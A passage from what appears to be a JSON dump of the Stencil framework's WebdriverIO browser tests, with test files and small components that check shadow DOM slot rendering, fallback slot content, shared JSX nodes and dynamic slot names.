    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\nconst CSS = `main {\n  color: blue;\n  font-weight: bold;\n}`;\n\ndescribe('shadow-dom-slot-nested', () => {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => (\n        <>\n          <main>\n            main content\n            <shadow-dom-slot-nested-root></shadow-dom-slot-nested-root>\n          </main>\n          <style>{CSS}</style>\n        </>\n      ),\n    });\n  });\n\n  it('renders children', async () => {\n    const elm = $('main');\n    const {\n      parsed: { hex: hexMain },\n    } = await elm.getCSSProperty('color');\n    expect(hexMain).toBe('#0000ff');\n\n    const cmp = $('shadow-dom-slot-nested-root');\n    const section = cmp.shadow$('section');\n    const {\n      parsed: { hex: hexSection },\n    } = await section.getCSSProperty('color');\n    expect(hexSection).toBe('#008000');\n\n    const article = cmp.shadow$('article');\n    const {\n      parsed: { hex: hexArticle },\n    } = await article.getCSSProperty('color');\n    expect(hexArticle).toBe('#008000');\n\n    const children = cmp.shadow$('article').$$('shadow-dom-slot-nested');\n    await expect(children).toBeElementsArrayOfSize(3);\n\n    const testShadowNested = async function (i: number) {\n      const nestedElm = children[i];\n\n      const header = nestedElm.shadow$('header');\n      await expect(header).toHaveText('shadow dom: ' + i);\n      const {\n        parsed: { hex: hexHeader },\n      } = await header.getCSSProperty('color');\n      expect(hexHeader).toBe('#ff0000');\n\n      const footer = nestedElm.shadow$('footer');\n      const footerSlot = footer.$('slot');\n      await expect(children).toBeElementsArrayOfSize(3);\n      await expect(footerSlot.$$('*')).toBeElementsArrayOfSize(0);\n      await expect(footerSlot).toHaveText('');\n\n      await expect(nestedElm).toHaveText(expect.stringContaining('light dom: ' + i));\n      const {\n        parsed: { hex: hexNestedElm },\n      } = await nestedElm.getCSSProperty('color');\n      expect(hexNestedElm).toBe('#008000');\n    };\n\n    await testShadowNested(0);\n    await testShadowNested(1);\n    await testShadowNested(2);\n  });\n});\n"
  },
  {
    "path": "test/wdio/shadow-dom-slot-nested/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-dom-slot-nested',\n  styles: `\n    header {\n      color: red;\n    }\n  `,\n  shadow: true,\n})\nexport class ShadowDomSlotNested {\n  @Prop() i?: number;\n\n  render() {\n    return [\n      <header>shadow dom: {this.i}</header>,\n      <footer>\n        <slot />\n      </footer>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/shared-jsx/bad-shared-jsx.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'bad-shared-jsx',\n})\nexport class BadSharedJSX {\n  render() {\n    const sharedNode = <div>Do Not Share JSX Nodes!</div>;\n    return (\n      <div>\n        {sharedNode}\n        {sharedNode}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/shared-jsx/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $ } from '@wdio/globals';\n\ndescribe('shared-jsx', () => {\n  beforeEach(() => {\n    return render({\n      components: [],\n      template: () => (\n        <>\n          <bad-shared-jsx></bad-shared-jsx>\n          <hr />\n          <factory-jsx></factory-jsx>\n        </>\n      ),\n    });\n  });\n  it('should not share JSX nodes', async () => {\n    const html = await $('stencil-stage').getHTML();\n    expect(html).toBe(`<stencil-stage>\n  <bad-shared-jsx class=\"hydrated\">\n    <div>\n      <div>Do Not Share JSX Nodes!</div>\n      <div>Do Not Share JSX Nodes!</div>\n    </div>\n  </bad-shared-jsx>\n  <hr />\n  <factory-jsx class=\"hydrated\">\n    <div>\n      <div>Factory JSX</div>\n      <div>Factory JSX</div>\n    </div>\n  </factory-jsx>\n</stencil-stage>`);\n  });\n});\n"
  },
  {
    "path": "test/wdio/shared-jsx/factory-jsx.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'factory-jsx',\n})\nexport class FactoryJSX {\n  getJsxNode() {\n    return <div>Factory JSX</div>;\n  }\n\n  render() {\n    return (\n      <div>\n        {this.getJsxNode()}\n        {this.getJsxNode()}\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-array-basic/cmp.css",
    "content": "header {\n  background: yellow;\n  padding: 10px;\n}\n\nfooter {\n  background: limegreen;\n  padding: 10px;\n}\n"
  },
  {
    "path": "test/wdio/slot-array-basic/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot array basic', () => {\n  const style = `slot-array-basic {\n    display: block;\n    margin: 10px;\n    border: 2px solid black;\n  }\n  content-top {\n    display: block;\n    background: red;\n    color: white;\n    padding: 10px;\n  }\n  content-middle {\n    display: block;\n    background: purple;\n    color: white;\n    padding: 10px;\n  }\n  content-bottom {\n    display: block;\n    background: blue;\n    color: white;\n    padding: 10px;\n  }`;\n\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <style>{style}</style>\n\n          <slot-array-basic class=\"results1\"></slot-array-basic>\n\n          <slot-array-basic class=\"results2\">\n            <content-top>Content</content-top>\n          </slot-array-basic>\n\n          <slot-array-basic class=\"results3\">\n            <content-top>Content Top</content-top>\n            <content-bottom>Content Bottom</content-bottom>\n          </slot-array-basic>\n\n          <slot-array-basic class=\"results4\">\n            <content-top>Content Top</content-top>\n            <content-middle>Content Middle</content-middle>\n            <content-bottom>Content Bottom</content-bottom>\n          </slot-array-basic>\n        </>\n      ),\n    });\n  });\n\n  it('renders slotted content between header/footer', async () => {\n    await $('slot-array-basic').waitForExist();\n\n    let children = $$('.results1 > *');\n    await expect(children).toBeElementsArrayOfSize(2);\n    await expect(await children[0].getTagName()).toBe('header');\n    await expect(children[0]).toHaveText('Header');\n    await expect(await children[1].getTagName()).toBe('footer');\n    await expect(children[1]).toHaveText('Footer');\n\n    children = $$('.results2 > *');\n    await expect(children).toBeElementsArrayOfSize(3);\n    await expect(await children[0].getTagName()).toBe('header');\n    await expect(children[0]).toHaveText('Header');\n    await expect(await children[1].getTagName()).toBe('content-top');\n    await expect(children[1]).toHaveText('Content');\n    await expect(await children[2].getTagName()).toBe('footer');\n    await expect(children[2]).toHaveText('Footer');\n\n    children = $$('.results3 > *');\n    await expect(children).toBeElementsArrayOfSize(4);\n    await expect(await children[0].getTagName()).toBe('header');\n    await expect(children[0]).toHaveText('Header');\n    await expect(await children[1].getTagName()).toBe('content-top');\n    await expect(children[1]).toHaveText('Content Top');\n    await expect(await children[2].getTagName()).toBe('content-bottom');\n    await expect(children[2]).toHaveText('Content Bottom');\n    await expect(await children[3].getTagName()).toBe('footer');\n    await expect(children[3]).toHaveText('Footer');\n\n    children = $$('.results4 > *');\n    await expect(children).toBeElementsArrayOfSize(5);\n    await expect(await children[0].getTagName()).toBe('header');\n    await expect(children[0]).toHaveText('Header');\n    await expect(await children[1].getTagName()).toBe('content-top');\n    await expect(children[1]).toHaveText('Content Top');\n    await expect(await children[2].getTagName()).toBe('content-middle');\n    await expect(children[2]).toHaveText('Content Middle');\n    await expect(await children[3].getTagName()).toBe('content-bottom');\n    await expect(children[3]).toHaveText('Content Bottom');\n    await expect(await children[4].getTagName()).toBe('footer');\n    await expect(children[4]).toHaveText('Footer');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-array-basic/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-array-basic',\n  styleUrl: 'cmp.css',\n  shadow: false,\n})\nexport class SlotArrayBasic {\n  render() {\n    return [<header>Header</header>, <slot />, <footer>Footer</footer>];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-array-complex/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'slot-array-complex-root',\n})\nexport class SlotArrayComplexRoot {\n  @State() endSlot = false;\n\n  componentDidLoad() {\n    this.endSlot = !this.endSlot;\n  }\n\n  render() {\n    return (\n      <main>\n        <slot-array-complex>\n          <header slot=\"start\">slot - start</header>\n          slot - default\n          {this.endSlot ? <footer slot=\"end\">slot - end</footer> : null}\n        </slot-array-complex>\n      </main>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-array-complex/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot array complex', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <slot-array-complex-root></slot-array-complex-root>,\n    });\n\n    await $('main slot-array-complex').waitForExist();\n  });\n\n  it('renders slotted content', async () => {\n    await expect($('main slot-array-complex')).toHaveChildren(3);\n    const elems = $('main slot-array-complex').$$('*');\n    await expect(elems[0]).toHaveText('slot - start');\n    await expect(elems[1]).toHaveText('slot - default');\n    await expect(elems[2]).toHaveText('slot - end');\n\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-array-complex/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-array-complex',\n})\nexport class SlotArrayComplex {\n  render() {\n    return [\n      <slot name=\"start\"></slot>,\n      <section>\n        <slot></slot>\n      </section>,\n      <slot name=\"end\"></slot>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-array-top/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nconst CSS = `p {\n  background: yellow;\n}\nspan {\n  background: limegreen;\n}`;\n\ndescribe('slot array top', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <slot-array-top>\n            <p>Slotted content should be on bottom</p>\n          </slot-array-top>\n          <style>{CSS}</style>\n        </>\n      ),\n    });\n  });\n\n  it('renders slotted content in the right position', async () => {\n    const root = $('slot-array-top');\n    await expect(root).toHaveText('Content should be on top\\nSlotted content should be on bottom');\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-array-top/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-array-top',\n  shadow: true,\n})\nexport class SlotArrayTop {\n  render() {\n    return [<span>Content should be on top</span>, <slot />];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-basic/cmp-root.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-basic', function () {\n  beforeEach(() => {\n    render({\n      template: () => <slot-basic-root></slot-basic-root>,\n    });\n  });\n\n  it('button click rerenders', async () => {\n    const app = document.body;\n    async function testValues(inc: number) {\n      await $('slot-basic-root').waitForStable();\n      let result = app.querySelector('.inc');\n      expect(result.textContent).toEqual('Rendered: ' + inc);\n\n      result = app.querySelector('.results1 article');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results2 article');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results2 article span');\n      expect(result.textContent).toEqual('B');\n\n      result = app.querySelector('.results3 article');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results3 article div');\n      expect(result.textContent).toEqual('B');\n\n      result = app.querySelector('.results4 article footer');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results4 article footer div');\n      expect(result.textContent).toEqual('B');\n\n      result = app.querySelector('.results5 article');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results5 article span');\n      expect(result.textContent).toEqual('A');\n\n      result = app.querySelector('.results6 article');\n      expect(result.textContent).toEqual('AB');\n\n      let results = app.querySelectorAll('.results6 article span');\n      expect(results[0].textContent).toEqual('A');\n      expect(results[1].textContent).toEqual('B');\n\n      result = app.querySelector('.results7 article');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results7 article span');\n      expect(result.textContent).toEqual('A');\n\n      result = app.querySelector('.results7 article div');\n      expect(result.textContent).toEqual('B');\n\n      result = app.querySelector('.results8 article');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results8 article div');\n      expect(result.textContent).toEqual('A');\n\n      result = app.querySelector('.results9 article');\n      expect(result.textContent).toEqual('AB');\n\n      result = app.querySelector('.results9 article div');\n      expect(result.textContent).toEqual('A');\n\n      result = app.querySelector('.results9 article span');\n      expect(result.textContent).toEqual('B');\n\n      result = app.querySelector('.results10 article');\n      expect(result.textContent).toEqual('AB');\n\n      results = app.querySelectorAll('.results10 article div');\n      expect(results[0].textContent).toEqual('A');\n      expect(results[1].textContent).toEqual('B');\n\n      result = app.querySelector('.results11 article');\n      expect(result.textContent).toEqual('ABC');\n\n      results = app.querySelectorAll('.results11 article div');\n      expect(results[0].textContent).toEqual('A');\n      expect(results[1].textContent).toEqual('B');\n      expect(results[2].textContent).toEqual('C');\n\n      result = app.querySelector('.results11 article footer');\n      expect(result.textContent).toEqual('B');\n    }\n\n    await testValues(1);\n\n    await $('button').click();\n    await testValues(2);\n\n    await $('button').click();\n    await testValues(3);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-basic/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\nconst textA = 'A';\nconst spanA = <span>A</span>;\nconst divA = <div>A</div>;\n\nconst textB = 'B';\nconst spanB = <span>B</span>;\nconst divB = <div>B</div>;\nconst divC = <div>C</div>;\n\n@Component({\n  tag: 'slot-basic-root',\n})\nexport class SlotBasicRoot {\n  @State() inc = 1;\n\n  testClick() {\n    this.inc++;\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.testClick.bind(this)} class=\"test\">\n          Test\n        </button>\n\n        <div class=\"inc\">Rendered: {this.inc}</div>\n\n        <div class=\"results1\">\n          <slot-basic>\n            {textA}\n            {textB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results2\">\n          <slot-basic>\n            {textA}\n            {spanB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results3\">\n          <slot-basic>\n            {textA}\n            {divB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results4\">\n          <slot-basic>\n            <footer>\n              {textA}\n              {divB}\n            </footer>\n          </slot-basic>\n        </div>\n\n        <div class=\"results5\">\n          <slot-basic>\n            {spanA}\n            {textB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results6\">\n          <slot-basic>\n            {spanA}\n            {spanB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results7\">\n          <slot-basic>\n            {spanA}\n            {divB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results8\">\n          <slot-basic>\n            {divA}\n            {textB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results9\">\n          <slot-basic>\n            {divA}\n            {spanB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results10\">\n          <slot-basic>\n            {divA}\n            {divB}\n          </slot-basic>\n        </div>\n\n        <div class=\"results11\">\n          <slot-basic>\n            {divA}\n            <footer>{divB}</footer>\n            {divC}\n          </slot-basic>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-basic/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-basic',\n})\nexport class SlotBasic {\n  render() {\n    return (\n      <header>\n        <section>\n          <article>\n            <slot />\n          </article>\n        </section>\n      </header>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-basic-order/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-basic-order-root',\n})\nexport class SlotBasicOrderRoot {\n  render() {\n    return (\n      <slot-basic-order>\n        <content-a>a</content-a>\n        <content-b>b</content-b>\n        <content-c>c</content-c>\n      </slot-basic-order>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-basic-order/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('slot-basic-order', function () {\n  beforeEach(async () => {\n    render({\n      components: [],\n      template: () => <slot-basic-order-root></slot-basic-order-root>,\n    });\n    await $('slot-basic-order-root').waitForExist();\n  });\n\n  it('render', async () => {\n    await expect($('slot-basic-order-root > *')).toHaveText('abc');\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-basic-order/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-basic-order',\n})\nexport class SlotBasicOrder {\n  render() {\n    return <slot></slot>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-children/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'slot-children-root',\n  shadow: true,\n})\nexport class SlotChildrenRoot {\n  render() {\n    return (\n      <section>\n        ShadowRoot1\n        <article>\n          <slot />\n        </article>\n        ShadowRoot2\n      </section>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-children/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-children', () => {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <slot-children-root>\n          LightDomA\n          <header>LightDomB</header>\n          <main>LightDomC</main>\n          <footer>LightDomD</footer>\n          LightDomE\n        </slot-children-root>\n      ),\n    });\n  });\n\n  it('get shadow child nodes', () => {\n    const elm = document.querySelector('slot-children-root');\n    expect(elm.childElementCount).toBe(3);\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-conditional-rendering/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-conditional-rendering', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <slot-conditional-rendering>\n          <span slot=\"header\" id=\"slotted-header-element-id\">\n            Hello\n          </span>\n          <span id=\"slotted-content-element-id\">World!</span>\n        </slot-conditional-rendering>\n      ),\n    });\n\n    await $('slot-conditional-rendering').waitForExist();\n  });\n\n  it('slots are not hidden', async () => {\n    await expect($('#slotted-header-element-id')).not.toHaveAttribute('hidden');\n    await expect($('#slotted-content-element-id')).not.toHaveAttribute('hidden');\n  });\n\n  it('header slot becomes hidden after hit the toggle button', async () => {\n    await expect($('#slotted-header-element-id')).not.toHaveAttribute('hidden');\n\n    await $('#header-visibility-toggle').click();\n\n    await expect($('#slotted-header-element-id')).toHaveAttribute('hidden');\n  });\n\n  it('content slot becomes hidden after hit the toggle button', async () => {\n    await expect($('#slotted-content-element-id')).not.toHaveAttribute('hidden');\n\n    await $('#content-visibility-toggle').click();\n\n    await expect($('#slotted-content-element-id')).toHaveAttribute('hidden');\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-conditional-rendering/cmp.tsx",
    "content": "import { Component, h, Host, State } from '@stencil/core';\n\n@Component({\n  tag: 'slot-conditional-rendering',\n  shadow: false,\n  scoped: true,\n})\nexport class SlotConditionalRendering {\n  @State() headerVisible = true;\n  @State() contentVisible = true;\n\n  render() {\n    return (\n      <Host>\n        {this.headerVisible ? <slot name=\"header\" /> : null}\n        {this.contentVisible ? <slot /> : null}\n\n        <button id=\"header-visibility-toggle\" onClick={() => (this.headerVisible = !this.headerVisible)}>\n          Toggle header visibility (to {this.headerVisible ? 'hidden' : 'visible'})\n        </button>\n        <button id=\"content-visibility-toggle\" onClick={() => (this.contentVisible = !this.contentVisible)}>\n          Toggle content visibility (to {this.contentVisible ? 'hidden' : 'visible'})\n        </button>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-dynamic-name-change/cmp-scoped.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-dynamic-name-change-scoped',\n  scoped: true,\n})\nexport class SlotDynamicNameChangeScoped {\n  @Prop() slotName = 'greeting';\n\n  render() {\n    return (\n      <div>\n        <slot name={this.slotName}></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-dynamic-name-change/cmp-shadow.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-dynamic-name-change-shadow',\n  shadow: true,\n})\nexport class SlotDynamicNameChangeShadow {\n  @Prop() slotName = 'greeting';\n\n  render() {\n    return (\n      <div>\n        <slot name={this.slotName}></slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-dynamic-name-change/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\n/**\n * Tests the case where a `slot` element in a component has its\n * `name` attribute changed dynamically via a property.\n */\ndescribe('slot dynamic name change', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <slot-dynamic-name-change-shadow>\n            <p slot=\"greeting\">Hello</p>\n            <p slot=\"farewell\">Goodbye</p>\n          </slot-dynamic-name-change-shadow>\n          <slot-dynamic-name-change-scoped>\n            <p slot=\"greeting\">Hello</p>\n            <p slot=\"farewell\">Goodbye</p>\n          </slot-dynamic-name-change-scoped>\n\n          <button>Toggle slot name</button>\n        </>\n      ),\n    });\n\n    document.querySelector('button').addEventListener('click', () => {\n      document.querySelector('slot-dynamic-name-change-shadow').setAttribute('slot-name', 'farewell');\n      document.querySelector('slot-dynamic-name-change-scoped').setAttribute('slot-name', 'farewell');\n    });\n  });\n\n  it('should change the slot name for a shadow component', async () => {\n    const cmp = $('slot-dynamic-name-change-shadow');\n    await expect(cmp).toHaveText('Hello');\n    await expect(cmp.shadow$('slot')).toHaveAttribute('name', 'greeting');\n\n    await $('button').click();\n\n    await expect(cmp).toHaveText('Goodbye');\n    await expect(cmp.shadow$('slot')).toHaveAttribute('name', 'farewell');\n  });\n\n  it('should change the slot name for a scoped component', async () => {\n    const cmp = $('slot-dynamic-name-change-scoped');\n    await expect(cmp).toHaveText('Hello');\n    await expect(cmp.shadow$('p:not([hidden])')).toHaveAttribute('slot', 'greeting');\n\n    await $('button').click();\n\n    await expect(cmp).toHaveText('Goodbye');\n    await expect(cmp.shadow$('p:not([hidden])')).toHaveAttribute('slot', 'farewell');\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-dynamic-wrapper/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'slot-dynamic-wrapper-root',\n})\nexport class SlotDynamicWrapperRoot {\n  @State() tag = 'section';\n\n  changeWrapper() {\n    if (this.tag === 'section') {\n      this.tag = 'article';\n    } else {\n      this.tag = 'section';\n    }\n  }\n\n  render() {\n    return [\n      <button onClick={this.changeWrapper.bind(this)}>Change Wrapper</button>,\n      <slot-dynamic-wrapper tag={this.tag} class=\"results1\">\n        <h1>parent text</h1>\n      </slot-dynamic-wrapper>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-dynamic-wrapper/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\nconst css = `section {\n    background: limegreen;\n  }\n  article {\n    background: yellow;\n  }\n`;\n\ndescribe('slot-dynamic-wrapper', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <style>{css}</style>\n          <slot-dynamic-wrapper-root></slot-dynamic-wrapper-root>\n        </>\n      ),\n    });\n  });\n\n  it('renders', async () => {\n    await expect($('.results1 section h1')).toHaveText('parent text');\n\n    await $('button').click();\n    await $('.results1 article h1').waitForExist();\n\n    await expect($('.results1 section h1')).not.toBeExisting();\n    await expect($('.results1 article h1')).toHaveText('parent text');\n\n    await $('button').click();\n\n    await expect($('.results1 section h1')).toHaveText('parent text');\n    await expect($('.results1 article h1')).not.toBeExisting();\n    await expect($('[hidden]')).not.toBeExisting();\n  });\n});\n"
  },
  {
    "path": "test/wdio/slot-dynamic-wrapper/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'slot-dynamic-wrapper',\n})\nexport class SlotDynamicWrapper {\n  @Prop() tag = 'section';\n\n  render() {\n    return (\n      <this.tag>\n        <slot />\n      </this.tag>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-fallback/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'slot-fallback-root',\n})\nexport class SlotFallbackRoot {\n  @State() fallbackInc = 0;\n  @State() inc = 0;\n  @State() slotContent = 'slot light dom 0';\n  contentInc = 0;\n\n  changeLightDom() {\n    this.inc++;\n  }\n\n  changeSlotContent() {\n    this.contentInc++;\n    this.slotContent = 'slot light dom ' + this.contentInc;\n  }\n\n  changeFallbackContent() {\n    this.fallbackInc++;\n  }\n\n  render() {\n    return [\n      <button onClick={this.changeFallbackContent.bind(this)} class=\"change-fallback-content\">\n        Change Fallback Slot Content\n      </button>,\n\n      <button onClick={this.changeLightDom.bind(this)} class=\"change-light-dom\">\n        {this.inc % 2 === 0 ? 'Use light dom content' : 'Use fallback slot content'}\n      </button>,\n\n      <button onClick={this.changeSlotContent.bind(this)} class=\"change-slot-content\">\n        Change Slot Content\n      </button>,\n\n      <slot-fallback inc={this.fallbackInc} class=\"results1\">\n        {this.inc % 2 !== 0\n          ? [\n              <content-default>{this.slotContent} : default</content-default>,\n              <content-end slot=\"end\">{this.slotContent} : end</content-end>,\n              <content-start slot=\"start\">{this.slotContent} : start</content-start>,\n            ]\n          : null}\n      </slot-fallback>,\n    ];\n  }\n}\n"
  },
  {
    "path": "test/wdio/slot-fallback/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('slot-fallback', () => {\n  beforeEach(() => {\n    render({\n      template: () => <slot-fallback-root></slot-fallback-root>,\n    });\n  });\n\n  it('renders fallback', async () => {\n    // show fallback content\n    await expect($('.results1 slot-fb[name=\"start\"]:not([hidden])')).toHaveText('slot start fallback 0');\n    await expect($('.results1 section slot-fb:not([hidden])')).toHaveText('slot default fallback 0');\n    await expect($('.results1 article span slot-fb[name=\"end\"]:not([hidden])')).toHaveText('slot end fallback 0');\n\n    // update fallback content\n    await $('button.change-fallback-content').click();\n    await browser.pause();\n\n    await expect($('.results1 slot-fb[name=\"start\"]:not([hidden])')).toHaveText('slot start fallback 1');\n    await expect($('.results1 section slot-fb:not([hidden])')).toHaveText('slot default fallback 1');\n    await expect($('.results1 article span slot-fb[name=\"end\"]:not([hidden])')).toHaveText('slot end fallback 1');\n\n    // set light dom instead and hide fallback content\n    await $('button.change-light-dom').click();\n    await browser.pause();\n\n    // fallback content hidden but still the same\n    // WebdriverIO's `getText` command can only fetch a visible text, which is why we don't use it here\n    expect(document.body.querySelector('.results1 slot-fb[name=\"start\"][hidden]').textContent.trim()).toBe(\n      'slot start fallback 1',\n    );\n    expect(document.body.querySelector('.results1 section slot-fb[hidden]').textContent.trim()).toBe(\n      'slot default fallback 1',\n    );\n    expect(document.body.querySelector('.results1 article span slot-fb[name=\"end\"][hidden]').textContent.trim()).toBe(\n      'slot end fallback 1',\n    );\n\n    // light dom content rendered\n    await expect($('.results1 content-start')).toHaveText('slot light dom 0 : start');\n    await expect($('.results1 section content-default')).toHaveText('slot light dom 0 : default');\n    await expect($('.results1 article span content-end')).toHaveText('slot light dom 0 : end');\n\n    await $('button.change-fallback-content').click();\n    await $('button.change-slot-content').click();\n    await browser.pause();\n\n    // fallback content hidden and updated content\n    // WebdriverIO's `getText` command can only fetch a visible text, which is why we don't use it here\n    expect(document.querySelector('.results1 slot-fb[name=\"start\"][hidden]').textContent.trim()).toBe(\n      'slot start fallback 2',\n    );\n    expect(document.querySelector('.results1 section slot-fb[hidden]').textContent.trim()).toBe(\n      'slot default fallback 2',\n    );\n    expect(document.querySelector('.results1 article span slot-fb[name=\"end\"][hidden]').textContent.trim()).toBe(\n      'slot end fallback 2',\n    );\n\n    // light dom content updated\n    await expect($('.results1 content-start')).toHaveText('slot light dom 1 : start');\n    await expect($('.results1 section content-default')).toHaveText('slot light dom 1 : default');\n    await expect($('.results1 article span content-end')).toHaveText('slot light dom 1 : end');\n\n    // change back to fallback content\n    await $('button.change-light-dom').click();\n    await browser.pause();\n\n    // fallback content should not be hidden\n    await expect($('.results1 slot-fb[name=\"start\"]:not([hidden])')).toHaveText('slot start fallback 2');\n    await expect($('.results1 section slot-fb:not([hidden])')).toHaveText('slot default fallback 2');\n    await expect($('.results1 article span slot-fb[name=\"end\"]:not([hidden])')).toHaveText('slot end fallback 2');\n\n    // light dom content should not exist\n    await expect($('.results1 content-start')).not.toBeExisting();\n    await expect($('.results1 section content-default')).not.toBeExisting();\n    await expect($('.results1 article span content-end')).not.toBeExisting();\n\n    // update content\n    await $('button.change-fallback-content').click();\n    await $('button.change-slot-content').click();\n    await browser.pause();\n\n    // fallback content should not be hidden\n    await expect($('.results1 slot-fb[name=\"start\"]:not([hidden])')).toHaveText('slot start fallback 3');\n    await expect($('.results1 section slot-fb:not([hidden])')).toHaveText('slot default fallback 3');\n    await expect($('.results1 article span slot-fb[name=\"end\"]:not([hidden])')).toHaveText('slot end fallback 3');\n\n    // light dom content should not exist\n    await expect($('.results1 content-start')).not.toBeExisting();\n    await expect($('.results1 section content-default')).not.toBeExisting();\n    await expect($('.results1 article span content-end')).not.toBeExisting();\n\n    // change back to showing slot content\n    await $('button.change-light-dom').click();\n    await browser.pause();\n\n    // fallback content hidden and updated content\n    // WebdriverIO's `getText` command can only fetch a visible text, which is why we don't use it here\n    expect(document.querySelector('.results1 slot-fb[name=\"start\"][hidden]').textContent.trim()).toBe(\n      'slot start fallback 3',\n    );\n    expect(document.querySelector('.results1 section slot-fb[hidden]').textContent.trim()).toBe(\n      'slot default fallback 3',\n    );\n    expect(document.querySelector('.results1 article span 